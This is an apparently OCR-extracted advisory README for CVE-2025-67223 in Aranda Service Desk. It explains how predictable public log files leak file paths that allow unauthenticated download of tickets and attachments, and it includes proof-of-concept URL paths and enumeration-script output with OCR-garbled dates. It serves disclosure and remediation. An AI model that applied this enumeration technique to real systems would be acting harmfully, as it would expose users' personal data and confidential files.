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CVE-2025-67223: Incorrect Access
Control & Information Disclosure In
Aranda Service Desk

CVE ID: CVE-2025-67223

Affected Product: Aranda Service Desk (Aranda File Server - AFS module)
Affected Versions: < 8.3.12

Author: Brandon Perez Lara

£3 Overview

A critical vulnerability was identified in the file management module (Aranda File Server) of
Aranda Service Desk. The system stores daily activity logs with predictable names (e.g.,
YYYYMMDD . log ) in a public directory ( /AFS/logs/ ) without any access restrictions.
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The risk level of this vulnerability is critical: This flaw allows an unauthenticated remote
attacker to iterate and systematically download Aranda’s logs in an automated manner.

The core issue is that these log files expose the virtual paths of all uploaded files on the
system, granting the attacker the ability to indiscriminately view and exfiltrate support
tickets, confidential Aranda internal cases, and all associated sensitive file attachments.

N Proof of Concept (PoC)

The exploitation chain consists of identifying the exposed logs, extracting the internal file
paths, and directly accessing the sensitive files.

1 - Log Access: A simple HTTP request is made to the /AFS/logs/ directory referencing
the current or a past date (e.g. 20251201.log).

e e - /AFS/logs/

[To Parent Directory]

7/31/2021 6:16 PM 3099 20210731.10g
8/1/2021 12:26 PM 2487 20210801.10g
8/2/2021 9:25 PM 881106 20210862.10g
8/3/2021 11:46 PM 111679 20210803.10g
8/4/20621 11:46 PM 95282 20210804.1log
8/5/2021 11:48 PM 79716 202108805.1l0g
8/6/2021 16:50 PM 75777 20210806.1og
8/9/20621 11:18 PM 68902 20210869.10g

8/10/2021 9:41 PM 79240 20210810.1og

8/11/2021 9:48 PM 81664 202108811.1l0g

8/12/2021 10:14 PM 77076 20210812.log

8/13/2021 11:52 PM 77050 20210813.10g

8/14/2021 4:32 PM 8430 20210814.10g

8/16/2021 4:44 PM 1973 20210816.10g

8/17/2021 10:33 PM 72851 202108817.1log

8/18/2021 8:02 PM 67729 20210818.1log

8/19/2021 10:14 PM 73894 20210819.10g

8/20/2021 8:09 PM 55857 202108820.1log

8/21/2021 11:12 PM 43596 20210821.10g

R/22/70721 200 PM C1R1R 20214827 lan
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2 - Path Extraction (Information Disclosure): When the log is downloaded, relative
paths are exposed such as: SERVICE DESK FILE UPLOADED
ServiceCalls\365763\description...html. In addition, error messages in the log reveal
absolute server paths (e.g. D:\inetpub\wwwroot\...).

| SERVICE DESK | FILES LIS

| AFS@ee0000000000000 | £ tion has been thrown by the target of an inv
| AFseeeeepeaseee0ee |

| st

| SERVICE DESI

e target of an
by the target of an

| SERVICE DESK ‘ : AFEFBSHN GKTFYGCCR
| SERVICE DESK | SEC

3 - Direct Access (Broken Access Control): Since the system does not validate the
user's session for these static resources, the attacker only needs to concatenate the
extracted path with the base URL (e.g. /AFS/ServiceDesk/ServiceCalls/...) to access the
file.

AFS/ServiceDesk/ServiceCalls/365763/description-01-12-2025-08-29-20.html

Datos necesarios para la atencion de su solicitud y correcto escalamiento, sin esta informacion su caso puede ser Rechazado

(*) Nombre Completo (Usuario Teams):
(*)Teléfono de Facil Contacto:
(*) Descripcion detallada de la solicitud:

/AFS/ServiceDesk/Incidents/365795/description-01-12-2025-10-00-55.html

Datos necesarios para la atencion de su caso v correcto escalamiento.

(*) Descripcion detallada: funcionaria indica que indica que el computador le dice que no hay espacio suficnete, se tom
hay espacio suficiente

GESTION HUMAI

Herramientas de Windows X +

- * - Windows > Mendlnicic > Programas

" "% Liberador de espac

P Galeria - eguridsd de Windo

o - h ) Segurid w3
A Administracién de

@ OneDreve - Perzona

A Adrministracion de

Ejecutar como otro usuario
€% Administracién del
Escriba las credenciales que se usardn para C\

Fa Administrador del : \system32\compmgmt msc

¥ Centro de administ

L Descarges 3 Configuracién del;  Nombre de usuario
= I

Exfiltration: Using this method, it is possible to download HTML descriptions of the
tickets, as well as sensitive attachments such as PDFs, ZIP files, images, or SQL scripts.
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Script CVE-2025-67223.py:

\POC>py poc.py
Could not find platform independent libraries <prefix>

——— Herramienta de Prueba de Alcance CVE-2025-XXXX (AFS) [Rango de Fechas] ——-
Ingrese la URL base del sitio: https:// o/

Ingrese la FECHA DE INICIO (YYYYMMDD): 2026620

Ingrese la FECHA DE FIN (YYYYMMDD): 20266427

[*] Analizando 8 dias desde 20266U20 hasta 28268U27. ..

| REPORTE FINAL: 61 ARCHIVOS COS EXPUESTOS EN EL RANGO |

/AFS/ServiceDesk/Changes/363938/description-20-04-2026-11-149-56.html
/AFS/ServiceDesk/Changes/36U579/E882DD5B-33B2-LUF23-B2F1-A0387DEOEBDA
/AFS/ServiceDesk/Changes/36U4582/CAD82516-7081-U72A-9F51-TA6FE7FOD7D3
/AFS/ServiceDesk/Changes/36U598/description-2U-8U-2026-1U-49-36. html
/AFS/ServiceDesk/Changes/36U590/description-24-04-2026-14-52-14. html
/AFS/ServiceDesk/Changes/36U4590/description-2U-0U4-2026-14-52-56. html
/AFS/ServiceDesk/Changes/36U590/description-24-04-2026-14-57-59. html
/AFS/ServiceDesk/Changes/36U4591/89DC163A-5C59-L6B3-9E8C-B6AUTSAB3716
/AFS/ServiceDesk/Changes/36U591/A8A1B95D-L27A-LD1A-AF60-9B166E7C8306
/AFS/ServiceDesk/Changes/36U4598/F6BE6AE3-1E63-L822-A12A-E6LE96LULO1LS
/AFS/ServiceDesk/Changes/36U598/description-22-0U-2026-16-01-54 . html
/AFS/ServiceDesk/Changes/36U598/description-22-84-2026-16-09-39. html
/AFS/ServiceDesk/Changes/36U4598/description-22-04-2026-16-10-27.html
/AFS/ServiceDesk/Changes/36U602/371CA3CE-31FLU-LASE-BCCD-OBOF6AABCALG
/AFS/ServiceDesk/Changes/36U4603/5A88FD1A-CF39-UAF1-BC5D-C31EF132B941

This vulnerability allows a third party to silently exfiltrate:

e PII: Names, phone numbers, and email addresses of the users reporting the incidents.

o Corporate Secrets: Detailed incident descriptions and all kinds of confidential
attached documents.

« Infrastructure: Knowledge of the server's internal directory structure.
Remediation

e Aranda Software has issued a patch to address this. The main recommendations
implemented are:

e Update Aranda Service Desk to version 8.3.12 or higher.
o Restrict access to the logs by moving them outside the web root (wwwroot).

» Enforce mandatory session validation to access the /ServiceDesk/ServiceCalls/ and
/Incidents/ directories.

o Disable Directory Listing on the IIS web server.

Cybersecurity is a collaborative effort. | want to thank the development and security teams
involved for their response to this report. Keep your systems up to date. ™ &
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Releases

No releases published

Packages

No packages published

Contributors 1

Q brandonperezlara

Languages

® Python 100.0%
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